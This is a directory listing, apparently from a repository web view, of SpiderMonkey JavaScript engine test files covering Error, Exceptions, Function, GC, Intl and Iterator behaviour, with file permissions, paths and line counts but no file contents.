-rw-r--r--js/src/tests/non262/Error/constructor-proto.js17
-rw-r--r--js/src/tests/non262/Error/prototype-properties.js26
-rw-r--r--js/src/tests/non262/Error/prototype.js18
-rw-r--r--js/src/tests/non262/Error/regress-354246.js34
-rw-r--r--js/src/tests/non262/Error/regress-412324.js17
-rw-r--r--js/src/tests/non262/Error/regress-465377.js78
-rw-r--r--js/src/tests/non262/Error/shell.js0
-rw-r--r--js/src/tests/non262/Exceptions/browser.js0
-rw-r--r--js/src/tests/non262/Exceptions/catchguard-002-n.js31
-rw-r--r--js/src/tests/non262/Exceptions/catchguard-003-n.js35
-rw-r--r--js/src/tests/non262/Exceptions/error-expando-reconfigure.js28
-rw-r--r--js/src/tests/non262/Exceptions/error-property-enumerability.js30
-rw-r--r--js/src/tests/non262/Exceptions/errstack-001.js242
-rw-r--r--js/src/tests/non262/Exceptions/regress-121658.js121
-rw-r--r--js/src/tests/non262/Exceptions/regress-123002.js90
-rw-r--r--js/src/tests/non262/Exceptions/regress-181654.js118
-rw-r--r--js/src/tests/non262/Exceptions/regress-181914.js157
-rw-r--r--js/src/tests/non262/Exceptions/regress-257751.js92
-rw-r--r--js/src/tests/non262/Exceptions/regress-273931.js74
-rw-r--r--js/src/tests/non262/Exceptions/regress-332472.js25
-rw-r--r--js/src/tests/non262/Exceptions/regress-333728.js83
-rw-r--r--js/src/tests/non262/Exceptions/regress-342359.js43
-rw-r--r--js/src/tests/non262/Exceptions/regress-347674.js63
-rw-r--r--js/src/tests/non262/Exceptions/regress-350650-n.js28
-rw-r--r--js/src/tests/non262/Exceptions/regress-350837.js43
-rw-r--r--js/src/tests/non262/Exceptions/regress-58946.js33
-rw-r--r--js/src/tests/non262/Exceptions/regress-95101.js81
-rw-r--r--js/src/tests/non262/Exceptions/shell.js0
-rw-r--r--js/src/tests/non262/Function/10.1.6-01.js29
-rw-r--r--js/src/tests/non262/Function/10.1.6.js23
-rw-r--r--js/src/tests/non262/Function/10.2.1.1.6.js35
-rw-r--r--js/src/tests/non262/Function/15.3.4.3-01.js245
-rw-r--r--js/src/tests/non262/Function/Function-arguments-gc.js40
-rw-r--r--js/src/tests/non262/Function/Function-prototype.js11
-rw-r--r--js/src/tests/non262/Function/Function-with-eval.js25
-rw-r--r--js/src/tests/non262/Function/Object-toSource.js373
-rw-r--r--js/src/tests/non262/Function/arguments-caller-callee.js64
-rw-r--r--js/src/tests/non262/Function/arguments-extra-property.js33
-rw-r--r--js/src/tests/non262/Function/arguments-iterator.js167
-rw-r--r--js/src/tests/non262/Function/arguments-parameter-shadowing.js22
-rw-r--r--js/src/tests/non262/Function/arguments-property-attributes.js98
-rw-r--r--js/src/tests/non262/Function/arrow-has-duplicated.js15
-rw-r--r--js/src/tests/non262/Function/bound-length-and-name.js40
-rw-r--r--js/src/tests/non262/Function/bound-non-constructable.js17
-rw-r--r--js/src/tests/non262/Function/bound-prototype.js37
-rw-r--r--js/src/tests/non262/Function/browser.js0
-rw-r--r--js/src/tests/non262/Function/builtin-no-construct.js52
-rw-r--r--js/src/tests/non262/Function/builtin-no-prototype.js40
-rw-r--r--js/src/tests/non262/Function/configurable-length-builtins.js21
-rw-r--r--js/src/tests/non262/Function/configurable-length.js86
-rw-r--r--js/src/tests/non262/Function/construct-bound-proxy-with-many-arguments.js13
-rw-r--r--js/src/tests/non262/Function/constructor-binding.js11
-rw-r--r--js/src/tests/non262/Function/create-function-parse-before-getprototype.js17
-rw-r--r--js/src/tests/non262/Function/function-bind.js280
-rw-r--r--js/src/tests/non262/Function/function-call.js134
-rw-r--r--js/src/tests/non262/Function/function-caller-restrictions.js29
-rw-r--r--js/src/tests/non262/Function/function-caller.js45
-rw-r--r--js/src/tests/non262/Function/function-constructor-toString-arguments-before-parsing-params.js23
-rw-r--r--js/src/tests/non262/Function/function-name-assignment.js139
-rw-r--r--js/src/tests/non262/Function/function-name-binding.js54
-rw-r--r--js/src/tests/non262/Function/function-name-class.js32
-rw-r--r--js/src/tests/non262/Function/function-name-for.js31
-rw-r--r--js/src/tests/non262/Function/function-name-method.js70
-rw-r--r--js/src/tests/non262/Function/function-name-property.js58
-rw-r--r--js/src/tests/non262/Function/function-name.js64
-rw-r--r--js/src/tests/non262/Function/function-toString-builtin-name.js53
-rw-r--r--js/src/tests/non262/Function/function-toString-builtin.js42
-rw-r--r--js/src/tests/non262/Function/get-function-realm.js45
-rw-r--r--js/src/tests/non262/Function/has-instance-jitted.js96
-rw-r--r--js/src/tests/non262/Function/has-instance.js101
-rw-r--r--js/src/tests/non262/Function/implicit-this-in-parameter-expression.js18
-rw-r--r--js/src/tests/non262/Function/invalid-parameter-list.js27
-rw-r--r--js/src/tests/non262/Function/length-with-destructuring-and-parameter-expression.js31
-rw-r--r--js/src/tests/non262/Function/line-terminator-before-arrow.js9
-rw-r--r--js/src/tests/non262/Function/method-has-duplicated.js19
-rw-r--r--js/src/tests/non262/Function/parameter-redeclaration.js19
-rw-r--r--js/src/tests/non262/Function/redefine-arguments-length.js65
-rw-r--r--js/src/tests/non262/Function/regress-123371.js19
-rw-r--r--js/src/tests/non262/Function/regress-131964.js159
-rw-r--r--js/src/tests/non262/Function/regress-137181.js76
-rw-r--r--js/src/tests/non262/Function/regress-178389.js26
-rw-r--r--js/src/tests/non262/Function/regress-193555.js99
-rw-r--r--js/src/tests/non262/Function/regress-222029-001.js123
-rw-r--r--js/src/tests/non262/Function/regress-222029-002.js132
-rw-r--r--js/src/tests/non262/Function/regress-292215.js37
-rw-r--r--js/src/tests/non262/Function/regress-313570.js30
-rw-r--r--js/src/tests/non262/Function/regress-338001.js42
-rw-r--r--js/src/tests/non262/Function/regress-338121-01.js33
-rw-r--r--js/src/tests/non262/Function/regress-338121-02.js36
-rw-r--r--js/src/tests/non262/Function/regress-338121-03.js38
-rw-r--r--js/src/tests/non262/Function/regress-344052.js27
-rw-r--r--js/src/tests/non262/Function/regress-364023.js37
-rw-r--r--js/src/tests/non262/Function/regress-49286.js100
-rw-r--r--js/src/tests/non262/Function/regress-518103.js27
-rw-r--r--js/src/tests/non262/Function/regress-524826.js28
-rw-r--r--js/src/tests/non262/Function/regress-528082.js20
-rw-r--r--js/src/tests/non262/Function/regress-533254.js28
-rw-r--r--js/src/tests/non262/Function/regress-545980.js41
-rw-r--r--js/src/tests/non262/Function/regress-58274.js189
-rw-r--r--js/src/tests/non262/Function/regress-85880.js136
-rw-r--r--js/src/tests/non262/Function/regress-94506.js126
-rw-r--r--js/src/tests/non262/Function/regress-97921.js115
-rw-r--r--js/src/tests/non262/Function/rest-has-duplicated.js17
-rw-r--r--js/src/tests/non262/Function/rest-parameter-names.js68
-rw-r--r--js/src/tests/non262/Function/return-finally.js172
-rw-r--r--js/src/tests/non262/Function/shell.js0
-rw-r--r--js/src/tests/non262/Function/spread-iterator-primitive.js28
-rw-r--r--js/src/tests/non262/Function/strict-arguments.js453
-rw-r--r--js/src/tests/non262/Function/throw-type-error.js16
-rw-r--r--js/src/tests/non262/GC/browser.js0
-rw-r--r--js/src/tests/non262/GC/regress-104584.js46
-rw-r--r--js/src/tests/non262/GC/regress-203278-2.js80
-rw-r--r--js/src/tests/non262/GC/regress-203278-3.js42
-rw-r--r--js/src/tests/non262/GC/regress-278725.js29
-rw-r--r--js/src/tests/non262/GC/regress-306788.js24
-rw-r--r--js/src/tests/non262/GC/regress-311497.js61
-rw-r--r--js/src/tests/non262/GC/regress-313276.js40
-rw-r--r--js/src/tests/non262/GC/regress-313479.js37
-rw-r--r--js/src/tests/non262/GC/regress-316885-01.js33
-rw-r--r--js/src/tests/non262/GC/regress-316885-02.js42
-rw-r--r--js/src/tests/non262/GC/regress-316885-03.js42
-rw-r--r--js/src/tests/non262/GC/regress-319980-01.js117
-rw-r--r--js/src/tests/non262/GC/regress-324278.js63
-rw-r--r--js/src/tests/non262/GC/regress-331719.js19
-rw-r--r--js/src/tests/non262/GC/regress-338653.js41
-rw-r--r--js/src/tests/non262/GC/regress-341877-01.js40
-rw-r--r--js/src/tests/non262/GC/regress-341877-02.js45
-rw-r--r--js/src/tests/non262/GC/regress-346794.js40
-rw-r--r--js/src/tests/non262/GC/regress-348532.js51
-rw-r--r--js/src/tests/non262/GC/regress-352606.js25
-rw-r--r--js/src/tests/non262/GC/regress-383269-01.js59
-rw-r--r--js/src/tests/non262/GC/regress-383269-02.js63
-rw-r--r--js/src/tests/non262/GC/regress-390078.js33
-rw-r--r--js/src/tests/non262/GC/regress-418128.js36
-rw-r--r--js/src/tests/non262/GC/regress-440558.js34
-rw-r--r--js/src/tests/non262/GC/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Array/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Array/toLocaleString-date.js53
-rw-r--r--js/src/tests/non262/Intl/Array/toLocaleString-number.js34
-rw-r--r--js/src/tests/non262/Intl/Array/toLocaleString.js35
-rw-r--r--js/src/tests/non262/Intl/Collator/browser.js0
-rw-r--r--js/src/tests/non262/Intl/Collator/call.js74
-rw-r--r--js/src/tests/non262/Intl/Collator/caseFirst.js197
-rw-r--r--js/src/tests/non262/Intl/Collator/compare.js137
-rw-r--r--js/src/tests/non262/Intl/Collator/construct-newtarget.js81
-rw-r--r--js/src/tests/non262/Intl/Collator/cross-compartment.js22
-rw-r--r--js/src/tests/non262/Intl/Collator/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Collator/supportedLocalesOf.js355
-rw-r--r--js/src/tests/non262/Intl/Collator/toStringTag.js29
-rw-r--r--js/src/tests/non262/Intl/Date/browser.js0
-rw-r--r--js/src/tests/non262/Intl/Date/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Date/toLocaleDateString_timeZone.js77
-rw-r--r--js/src/tests/non262/Intl/Date/toLocaleString_timeZone.js77
-rw-r--r--js/src/tests/non262/Intl/Date/toLocaleTimeString_timeZone.js77
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/browser.js3
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/calendar-aliases.js35
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/calendar-option.js67
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/call.js182
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/construct-newtarget.js81
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/cross-compartment.js70
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/dateTimeStyle.js57
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/day-period-hour-cycle.js102
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/day-period-standalone.js160
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/day-period.js40
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/format.js47
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatRange-gregorian-proleptic.js28
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatRange-hour-cycle.js448
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatRange-matches-format-output.js58
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatToParts.js96
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/format_timeZone-non-meta.js62
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/format_timeZone.js104
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits-append-item.js67
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits.js43
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/hourCycle.js142
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/islamic.js89
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/japanese-gannen-year.js29
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/mozExtensions.js18
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/numberingSystem-option.js60
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/options-property-accesses.js85
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/related-year.js185
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/shell.js34
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/standalone-month.js11
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/supportedLocalesOf.js371
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone.js139
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_backward_links.js136
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone.js115
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone_links.js38
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_notbackward_links.js50
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_version.js17
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/toStringTag.js29
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/tz-environment-variable.js67
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/unwrapping.js247
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/browser.js0
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/calendar.js18
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/currency.js150
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/dateTimeField.js173
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/dayPeriod.js80
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/language.js195
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/month.js109
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/quarter.js74
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/region.js157
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/script.js134
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/shell.js6
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/weekday.js77
-rw-r--r--js/src/tests/non262/Intl/ListFormat/browser.js0
-rw-r--r--js/src/tests/non262/Intl/ListFormat/conjunction-type.js112
-rw-r--r--js/src/tests/non262/Intl/ListFormat/cross-compartment.js42
-rw-r--r--js/src/tests/non262/Intl/ListFormat/disjunction-type.js108
-rw-r--r--js/src/tests/non262/Intl/ListFormat/same-compartment.js40
-rw-r--r--js/src/tests/non262/Intl/ListFormat/shell.js21
-rw-r--r--js/src/tests/non262/Intl/ListFormat/supported-locales.js18
-rw-r--r--js/src/tests/non262/Intl/ListFormat/unit-type.js149
-rw-r--r--js/src/tests/non262/Intl/Locale/apply-options-to-tag-canonicalize-twice.js11
-rw-r--r--js/src/tests/non262/Intl/Locale/browser.js0
-rw-r--r--js/src/tests/non262/Intl/Locale/coerce-options-before-validating-tag.js10
-rw-r--r--js/src/tests/non262/Intl/Locale/cross-compartment.js28
-rw-r--r--js/src/tests/non262/Intl/Locale/grandfathered.js75
-rw-r--r--js/src/tests/non262/Intl/Locale/likely-subtags-generated.js3465
-rw-r--r--js/src/tests/non262/Intl/Locale/likely-subtags.js61
-rw-r--r--js/src/tests/non262/Intl/Locale/same-compartment.js26
-rw-r--r--js/src/tests/non262/Intl/Locale/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Locale/surface.js98
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/StringBuffer.js37
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/bigint-int64.js40
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/browser.js0
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/call.js182
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/construct-newtarget.js81
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/cross-compartment.js70
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/currency-narrow-symbol.js40
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/currency-sign-accounting.js192
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/duplicate-singleton-variant.js49
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/format-as-code-or-name.js75
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/format.js55
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatToParts.js357
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatting-NaN.js35
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/negativeZeroFractionDigits.js21
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-compact-long.js134
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-compact-short.js136
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-engineering.js136
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-scientific.js136
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/numberingSystem-format.js18
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/numberingSystem-option.js60
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/options-emulate-undefined.js13
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/remove-unicode-extensions.js25
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/shell.js48
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/sign-display.js187
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/significantDigitsOfZero.js38
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/supportedLocalesOf.js371
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/toStringTag.js29
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unit-compound-combinations.js63
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unit-formatToParts-has-unit-field.js88
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unit-well-formed.js250
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unit.js104
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unwrapping.js247
-rw-r--r--js/src/tests/non262/Intl/PluralRules/browser.js0
-rw-r--r--js/src/tests/non262/Intl/PluralRules/call.js53
-rw-r--r--js/src/tests/non262/Intl/PluralRules/construct-newtarget.js76
-rw-r--r--js/src/tests/non262/Intl/PluralRules/cross-compartment.js22
-rw-r--r--js/src/tests/non262/Intl/PluralRules/negativeZeroFractionDigits.js21
-rw-r--r--js/src/tests/non262/Intl/PluralRules/pluralrules.js18
-rw-r--r--js/src/tests/non262/Intl/PluralRules/resolvedOptions-overridden-species.js25
-rw-r--r--js/src/tests/non262/Intl/PluralRules/rounding.js17
-rw-r--r--js/src/tests/non262/Intl/PluralRules/select.js63
-rw-r--r--js/src/tests/non262/Intl/PluralRules/shell.js0
-rw-r--r--js/src/tests/non262/Intl/PluralRules/supportedLocalesOf.js369
-rw-r--r--js/src/tests/non262/Intl/README.txt27
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/browser.js0
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/construct-newtarget.js21
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/cross-compartment.js22
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/format.js145
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/locale-fallback-handling.js15
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/numbering-system.js22
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/numberingSystem-option.js60
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/relativetimeformat.js15
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/shell.js0
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/supportedLocalesOf.js373
-rw-r--r--js/src/tests/non262/Intl/String/shell.js0
-rw-r--r--js/src/tests/non262/Intl/String/toLocaleLowerCase.js64
-rw-r--r--js/src/tests/non262/Intl/String/toLocaleUpperCase.js64
-rw-r--r--js/src/tests/non262/Intl/TypedArray/shell.js0
-rw-r--r--js/src/tests/non262/Intl/TypedArray/toLocaleString.js103
-rw-r--r--js/src/tests/non262/Intl/best-available-locale-from-default-locale.js107
-rw-r--r--js/src/tests/non262/Intl/browser.js0
-rw-r--r--js/src/tests/non262/Intl/default-locale-shell.js16
-rw-r--r--js/src/tests/non262/Intl/duplicate-variants.js46
-rw-r--r--js/src/tests/non262/Intl/extensions/browser.js0
-rw-r--r--js/src/tests/non262/Intl/extensions/options-value-emulates-undefined.js29
-rw-r--r--js/src/tests/non262/Intl/extensions/shell.js0
-rw-r--r--js/src/tests/non262/Intl/extensions/unicode-extension-sequences.js74
-rw-r--r--js/src/tests/non262/Intl/fallback-symbol.js22
-rw-r--r--js/src/tests/non262/Intl/four-letter-language-codes.js22
-rw-r--r--js/src/tests/non262/Intl/getCalendarInfo.js83
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-overridden-arg-length.js20
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-overridden-push.js16
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-overridden-set.js16
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-overridden-species.js23
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-weird-cases.js25
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-with-duplicates.js15
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales.js37
-rw-r--r--js/src/tests/non262/Intl/getDisplayNames.js246
-rw-r--r--js/src/tests/non262/Intl/getLocaleInfo.js38
-rw-r--r--js/src/tests/non262/Intl/resolved-locale-sorted-unicode-extension-keys.js109
-rw-r--r--js/src/tests/non262/Intl/shell.js328
-rw-r--r--js/src/tests/non262/Intl/tolower-ascii-equivalent.js47
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-extlangs.js21
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-grandfathered.js52
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-language-mappings.js39
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-languages-mappings-complex.js21
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings-complex.js57
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings.js22
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-sign-languages.js18
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-transformed-ext.js71
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-unicode-ext.js12
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-legacy-mappings.js15
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-sorted.js31
-rw-r--r--js/src/tests/non262/Intl/variant-with-preferred-value.js58
-rw-r--r--js/src/tests/non262/Iterator/constructor-subclassable.js12
-rw-r--r--js/src/tests/non262/Iterator/constructor-throw-when-called-directly.js9
-rw-r--r--js/src/tests/non262/Iterator/constructor-throw-without-new.js9
-rw-r--r--js/src/tests/non262/Iterator/constructor.js9
-rw-r--r--js/src/tests/non262/Iterator/from/Iterator.from-descriptor.js12
-rw-r--r--js/src/tests/non262/Iterator/from/Iterator.from-length.js17
-rw-r--r--js/src/tests/non262/Iterator/from/Iterator.from-name.js13
-rw-r--r--js/src/tests/non262/Iterator/from/call-from-with-different-this.js18
-rw-r--r--js/src/tests/non262/Iterator/from/iterator-not-callable-throws.js13
-rw-r--r--js/src/tests/non262/Iterator/from/modify-next.js15
-rw-r--r--js/src/tests/non262/Iterator/from/modify-return.js22
-rw-r--r--js/src/tests/non262/Iterator/from/modify-throw.js18
-rw-r--r--js/src/tests/non262/Iterator/from/o-not-object-throws.js13
-rw-r--r--js/src/tests/non262/Iterator/from/proxy-not-wrapped.js34
-rw-r--r--js/src/tests/non262/Iterator/from/proxy-wrap-next.js30
-rw-r--r--js/src/tests/non262/Iterator/from/proxy-wrap-return.js31
-rw-r--r--js/src/tests/non262/Iterator/from/proxy-wrap-throw.js31
-rw-r--r--js/src/tests/non262/Iterator/from/return-iterator-if-iterable.js25
-rw-r--r--js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterable.js28
-rw-r--r--js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterator-instance.js24
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-functions-on-other-global.js31
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-method-with-non-wrap-this-throws.js42
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-new-global.js9
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-next-forwards-value.js18
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-next-not-object-throws.js14
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-return-closes-iterator.js33
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-throw.js45
-rw-r--r--js/src/tests/non262/Iterator/iterator.js13
-rw-r--r--js/src/tests/non262/Iterator/length.js13
-rw-r--r--js/src/tests/non262/Iterator/name.js13
-rw-r--r--js/src/tests/non262/Iterator/proto.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/asIndexedPairs/asIndexedPairs.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/asIndexedPairs/length.js21
-rw-r--r--js/src/tests/non262/Iterator/prototype/asIndexedPairs/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/drop/drop-more-than-available.js37
-rw-r--r--js/src/tests/non262/Iterator/prototype/drop/drop.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/drop/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/drop/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/coerce-result-to-boolean.js23
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/fn-not-callable-throws.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/fn-throws-close-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/return-true-if-all-match.js11
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/short-circuit-on-false.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/every/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/filter/coerce-result-to-boolean.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/filter/filter.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/filter/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/filter/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/coerce-result-to-boolean.js27
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/fn-not-callable-throws.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/fn-throws-close-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/return-undefined-if-none-match.js11
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/short-circuit-on-match.js14
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/this-not-iterator-throws.js9
-rw-r--r--js/src/tests/non262/Iterator/prototype/find/value-throws-iterator-not-closed.js25
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js49
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-next-throws.js45
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-value-throws.js52
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/flatMap.js12
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/inner-empty-iterable.js38
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/inner-generator.js29
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/length.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/name.js19
-rw-r--r--js/src/tests/non262/Iterator/prototype/flatMap/throw-when-inner-not-iterable.js64
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/check-fn-after-getting-iterator.js26
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/descriptor.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/error-from-correct-realm.js16
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/fn-not-callable-throws.js15
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/fn-throws-close-iterator.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/forEach.js11
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/length.js17
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/name.js13
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/next-throws-iterator-not-closed.js22
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/proxy.js44
-rw-r--r--js/src/tests/non262/Iterator/prototype/forEach/this-not-iterator-throws.js9
